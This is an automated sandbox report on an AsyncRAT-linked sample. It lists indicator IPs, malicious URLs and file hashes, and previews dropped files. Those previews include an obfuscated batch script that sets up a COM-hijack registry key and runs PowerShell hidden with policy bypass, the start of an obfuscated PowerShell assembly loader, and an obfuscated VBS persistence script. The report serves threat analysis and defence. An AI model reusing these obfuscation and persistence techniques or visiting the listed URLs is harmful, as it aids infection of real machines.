Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 4844 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:39:16	API Interceptor	104x Sleep call for process: powershell.exe modified
10:40:17	API Interceptor	899991x Sleep call for process: RegSvcs.exe modified
16:39:30	Task Scheduler	Run new task: Cloud OneDrive path: C:\ProgramData\Cloud\cloud.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
88.119.175.153	#9948-8465.vbs	Get hash	malicious	AsyncRAT	Browse
	AG#976832.vbs	Get hash	malicious	AsyncRAT	Browse
	C-SSA#876-245.vbs	Get hash	malicious	AsyncRAT	Browse
122.201.127.73	Yeni sipari#U015f _No.129099, pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.grandviewhighlands.com/qort/?6lLHRdG=BInxrnWoS6xwvmJQUXxoFoaRFm+I3ipks28Y5Ty51qvxXwCHpO7mvqTSYDLC9xGXk5gV&XX=5jPLWvY0vxztgx

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&why=7WZIz&xf=y&jxwh=7WZIz&xtzwhj=&hi=7WZIz&zfhy=&zwq=frudxdjAjsynslgfxj.htr.fzd.oflfd___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo5MTJhYWJjZjBjZWQ3YTE3MzliOWViMjI2OTgzNmFjODo3OmFiMTk6M2MwNmNjYzRlYzBhY2Q2MTg4MWQ5YTMxZDNlZTRiZmFmOTNhMjg1NDIzMDkzM2QyMzQ2MzYzY2Q5NzJhMDgxYTpoOlQ6VA#cnlhbkBsaW5jb2xubWFpbmVmY3UuY29t	Get hash	malicious	Unknown	Browse	163.47.73.97
	http://share581680880819.mycls.com.au/109533386504871408407795xbixgen-pgx-211995313699-ifxcvittoria-isxbgcg.orgsf-1038183551929	Get hash	malicious	Unknown	Browse	203.170.87.17
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	203.28.49.249
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	203.28.49.249
	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg	Get hash	malicious	HTMLPhisher	Browse	203.28.49.249
	na.elf	Get hash	malicious	Gafgyt	Browse	27.54.90.221
	na.elf	Get hash	malicious	Gafgyt	Browse	27.54.90.219
	na.elf	Get hash	malicious	Gafgyt	Browse	27.54.90.251
	http://cp-wc32.syd02.ds.network/~melbou28/cgi.bin/fr/bca13/	Get hash	malicious	Unknown	Browse	122.201.124.75
	http://cp-wc32.syd02.ds.network/~melbou28/cgi.bin/fr/d7f1d/	Get hash	malicious	Unknown	Browse	122.201.124.75
IST-ASLT	#9948-8465.vbs	Get hash	malicious	AsyncRAT	Browse	88.119.175.153
	download.js	Get hash	malicious	Unknown	Browse	88.119.175.180
	AG#976832.vbs	Get hash	malicious	AsyncRAT	Browse	88.119.175.153
	C-SSA#876-245.vbs	Get hash	malicious	AsyncRAT	Browse	88.119.175.153
	dwm.exe	Get hash	malicious	Unknown	Browse	88.119.167.239
	dwm.exe	Get hash	malicious	Unknown	Browse	88.119.167.239
	http://welcome.visionaryyouth.org	Get hash	malicious	Unknown	Browse	88.119.175.92
	https://casestudybuddy.com	Get hash	malicious	Unknown	Browse	88.119.175.92
	https://scripts.mediavine.com	Get hash	malicious	Unknown	Browse	88.119.175.92
	http://earnandexcel.com	Get hash	malicious	Unknown	Browse	88.119.175.92

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	1728716649a09efaf02e58304d0d9f63a90bc410d1231b676f0024be47cb0cc1f511df7bca961.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	122.201.127.73
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	122.201.127.73
	Purchase Order No. 4500017624.js	Get hash	malicious	AgentTesla	Browse	122.201.127.73
	narud#U017ebenica TISAKOMERC d.o.oRadbrkkedes234525262623.wsf	Get hash	malicious	Remcos, GuLoader	Browse	122.201.127.73
	https://document.cert-sha256.com/pages/10ab5b62ac22/XdXJasPWh0dHqBzOi8vZGo9jdW1ldmbnQufY2VydC1zfaGkEyNTYuY29tL3BhZ2VzhLzEwYWI1YjYyYWMyMiZlbWFpbF90ZW1wbGF0ZV9pZD04MjI4NjI5JmFjdGlvbj1wcmV2aWV3JnVzZXJfaWQ9NzM0MTE0NTY=	Get hash	malicious	Unknown	Browse	122.201.127.73
	http://starlightps.org/	Get hash	malicious	Unknown	Browse	122.201.127.73
	https://11100100000101837399030030030371.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	122.201.127.73
	67079aecc452b_xin.exe	Get hash	malicious	Unknown	Browse	122.201.127.73
	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	122.201.127.73
	https://core4ce.sharepoint.us/:u:/r/sites/Rampart/Shared%20Documents/Rampart_Architecturev2.vsdx?d=wb2c36d35ead642a0bb768843135cb471&e=4%3ae9566662f2044e998431c3da92e36b60&sharingv2=true&fromShare=true&xsdata=MDV8MDJ8dHlsZXIucG9vckBjb3JlNGNlLmNvbXwxYTdmMTE5MDQ5NDk0ZWNkZDAxZDA4ZGNlYTFhMDJiM3wyNGY1ZmRiNmUwYzI0NDFmYWU3ZmQxNTBjNzI4ZTM3YnwwfDB8NjM4NjQyNjQ0NjQ2MjQ2MjY0fFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=T1NBWmQzcmRTTTI2dmhrcnZIWG5ZZmFyRGFSUXZyVFhEajMxNTkyZmhHcz0%3d	Get hash	malicious	HTMLPhisher	Browse	122.201.127.73

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (559), with no line terminators
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	4.839407884982481
Encrypted:	false
SSDEEP:	24:QkH13XFbOfae5apKfPwqybOfae5apKfPw1kbd81bdxgDFI3M:HHLshUwPwqyshUwPw1D1bfgD+c
MD5:	B8BDFC7895FEAAACBA3711D17BE6778A
SHA1:	FA0BC12827B348FE540A13683897DEB207650DF7
SHA-256:	E209153DDA335FEC8FA021F1022C4F9FE041CB527C2B9068EB9EC911429F20A3
SHA-512:	EA91A8262EACBA0BCD6F692B5141124D7FEDC98507AD6AB71ADE565B347FE328780221F6972CC5C98A9471662474BF8C93E1219D241FF5F90579F7F8E8DD5156
Malicious:	true
Preview:	..&cls..@%pUBlIc:~89,83%%PUBLic:~5,1%CHo^ of^%PuBlIC:~46,16%f..SEt R^=Jg^%pUBLIc:~13,1%^gtGXz%pUBLIc:~4,1%w%pUBLIc:~11,1%^hm%pUBLIc:~10,1%^S^HI^O^A..^%pUBlIC:~14,1%^L%pUBliC:~55,17%^%publIc:~4,1%..@^e^c%r:~15,1%^%r:~17,1% ^%r:~17,1%n....RE%r:~5,1% %r:~18,1%DD %r:~15,1%KCU\%r:~14,1%of%r:~4,1%%r:~9,1%are\Cla%r:~8,1%%r:~8,1%e%r:~8,1%\CL%r:~14,1%%r:~16,1%D\{fd%r:~10,1%00e52-a214-4aa1-8f%r:~10,1%a-4357%r:~10,1%%r:~10,1%0072ec} /f..RE%r:~5,1% %r:~18,1%DD %r:~15,1%KCU\%r:~14,1%of%r:~4,1%%r:~9,1%are\Cla%r:~8,1%%r:~8,1%e%r:~8,1%\CL%r:~14,1%%r:~16,1%D\{fd%r:~10,1%00e52-a214-4aa1-8f%r:~10,1%a-4357%r:~10,1%%r:~10,1%0072ec}\%r:~16,1%nProc%r:~14,1%erver32 /ve /%r:~4,1% RE%r:~5,1%_%r:~14,1%Z /d C:\RedroCryp%r:~4,1%.dll /f..%r:~8,1%leep 3 .. ..c%r:~12,1%d /c Po%r:~9,1%er%r:~8,1%%r:~11,1%ell -noP -W %r:~11,1%%r:~2,1%dden -ep %r:~10,1%yPa%r:~8,1%%r:~8,1% -N%r:~17,1%N%r:~16,1% "C:\Pro%r:~1,1%ra%r:~12,1%Da%r:~4,1%a\Clo%r:~13,1%d\clo%r:~13,1%d.p%r:~8,1%1" ..@ec%r:~11,1%o off

C:\ProgramData\Cloud\cloud.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65367), with CRLF line terminators
Category:	dropped
Size (bytes):	600148
Entropy (8bit):	3.5363791226435195
Encrypted:	false
SSDEEP:	6144:XN9T+q7nqYsybSDF2+4U/D8aMdAADFfqJuEmE13W9raQfKapVKrewrQOf6ekY:qgLCyGYfdTENW9raQ9a36DY
MD5:	3DA9326215862462BDC3FDDC71C97F78
SHA1:	D2E873CDCDD58713AD37326C38CAED667E1695F4
SHA-256:	1E4988D1F45D8166ED2CF093B86595E73415130ABC31CBEF34E0C0183B79AA3E
SHA-512:	5446C2DF685EB176A566C9B2C9ED7D7B4221D2DB27139D03BAD60FE916E47343B2469E11CE4E0AEB59A7F1434F50A216AE9CF7C914486A51F341A1E42F13E1F6
Malicious:	true
Preview:	..${e`hm} = [TYpe]("{0}{1}" -F'cO','nvERT'); &('sv') ('M6'+'N') ([tYpE]("{4}{3}{1}{2}{0}"-F'Bly','ASSe','M','FlEcTiON.','RE') ) ;..[byte[]]${b`yT`eARRaY} =[byte[]](..0x43, 0xDD, 0x4F, 0xBF, 0xA2, 0xD7, 0x4D, 0xB9, 0xA9, 0xBE, 0x67, 0x8F, 0x73, 0x8C, 0xE1, 0x0B, 0x68, 0x7E, 0x39, 0x15, 0xFF, 0xDC, 0x51, 0xC4, 0x46, 0xFE, 0x04, 0xC3, 0xAB, 0xF4, 0x46, 0xBE, 0x0B, 0x04, 0x58, 0x2F, 0xF9, 0x10, 0x45, 0x8B, 0xC2, 0xB3, 0xAB, 0xB9, 0xA9, 0xD9, 0x0D, 0x50, 0xE9, 0xA3, 0x10, 0x82, 0xBF, 0xA5, 0x12, 0x9E, 0x8C, 0x9D, 0x09, 0x64, 0x68, 0xBC, 0x73, 0xA4, 0x77, 0xB3, 0xC8, 0xEB, 0x4C, 0x0C, 0xC5, 0xAC, 0xBF, 0x1B, 0x30, 0x91, 0xCD, 0x97, 0xF0, 0x52, 0x8E, 0x82, 0x1E, 0x71, 0x9F, 0xD3, 0xB5, 0x7A, 0x55, 0x78, 0xAC, 0x74, 0xCD, 0x2E, 0x30, 0xBA, 0xA8, 0xC8, 0x3D, 0xDE, 0xC9, 0xD9, 0x42, 0x4B, 0x3B, 0xA7, 0xCE, 0x99, 0xA1, 0xD2, 0xBE, 0xA6, 0x29, 0x9D, 0x2B, 0x85, 0xE5, 0x0C, 0x49, 0xC8, 0xBF, 0x95, 0x09, 0x61, 0x13, 0x1F, 0x9E, 0xCE, 0x02, 0x7C, 0xA9, 0xEC, 0xE3, 0xC7, 0xC5, 0x6D, 0x6D, 0xC0, 0xE

C:\ProgramData\Cloud\cloud.vbs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4212
Entropy (8bit):	5.159911778529968
Encrypted:	false
SSDEEP:	96:eWAWAI3s6JD7gqfPEwU552zY7gcITcowOJbXW0DTTtOT+:vfPdU55GYscDFZ0DTTtOT+
MD5:	7079642A22A106D0ED6F227CC70899AE
SHA1:	60DD57AF3518C0EA4104379AD233B5982B231283
SHA-256:	B098E1055DC3DD3156236EE515E5DFBEFD746D84578197F2309968625B831724
SHA-512:	CA1E9E201785FA611520EE2585208FB0684FD338FF1AB1D515523E03677AC4AC1CA5353FDC17BCBA4C6C39AA37F9BE182C5F7187B8DD9520C8604A001BD69F80
Malicious:	true
Preview:	On Error Resume Next..On Error Resume Next..On Error Resume Next..'QFQFc8sj833t454ma7qkQFQFc8sj833t454ma7qkQFQFQFQFQFQFQFQFQFc8sj833t454ma7qkQFQFQFQFQFQFc8sj833t454ma7qkQFQFc8sj833t454ma7qkQFQFQFQFQFQFQFQFQFc8sj833t454ma7qkQFQFQFQFDim nizhhbpuggmfrbaxucnzpiwzeizjycxxcpsynsbm..Dim xnfffjvlesbkmfbpgpcuffsvbnkkdghywvtdvzswozk..Dim rymybvkowmnccyvugodqyblcdvrcbfqgrjmvyfczjvbrphotfzxazzwiljvsfygmjduizqvfznrok..Dim tabunxizenzaqcvwjpuldvcpumirujmrcwzyedfysohejchjonjegobbpx..Dim dqkwwpkkbrabcrjmnftmylphdippgacnalpcyjuauwiemsadnjtofewtimyopsmsd..Dim cqjnqsprnmchyrcggjininzatipvtxhuuaynyxloxyugve..Dim fpmsblvtbrgsyqsntfjeaohhdtbbbddzll..Dim renewzldjovzrhaxlglkrtljrpyzymfcehjeokmdbjrfplakblyvnpppnjdncb..Dim mjrmzvvdpqurxdrhdndijojegespianhyrtinaptcptstekuzvzhmhsiohhfahdfwuvawzgrmaxw..Dim nrpvstueupcyokhlcqkjhqopuakgycmmnxdcjjylqcsfonjccekpbnmpkxbhklyuygbkmngaxlspkrpohcpx..Dim avseischradvnwhwvkiqqpafcikmugeyysmczafhtknselrzmopfyggbecvhefahxjjgvuo..Dim oltpvqnkqpdoxsvcbxauusrhsfugyiqfffalrwyhmes

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	61147
Entropy (8bit):	5.077943793919534
Encrypted:	false
SSDEEP:	1536:DA1+z307j1bV3CNBQkj2Uh4iUxqaVLflJnPvlOSHkqdxJfSb7OdBYNPzqtAHkwN7:01+z30n1bV3CNBQkj2UqiUqaVLflJnPa
MD5:	95B7548D8D8DDBAB0877BFC7F500503D
SHA1:	894B9735A30AE067FF88622B4F9C8EDF36997F6F
SHA-256:	D6C8E2EF650282C5B78D4CB89DE7FA47D0AC7A3818250101A2418B793D7C4BBA
SHA-512:	B552E36B17A92C584B269C73A9888AC67D19C28326EF39B7F1611CB6756B112BD113A9815EAB3BC6B51A6DBEFE4680C7532DD5D4F4102791BBB2021E4DDD8E54
Malicious:	false
Preview:	PSMODULECACHE.\...I.\.%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_11usb23t.ohp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ewzzuiv.hfn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d4evbrxr.oin.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dafxv52m.zn0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g5jse2s5.1l3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jxr2cyz2.zmn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3nhhcke.z1d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kaqpw4b3.2it.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kkjxnu32.lcr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l2bbhmja.xlx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mzc5rtge.ave.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ncqmsvgz.3yq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
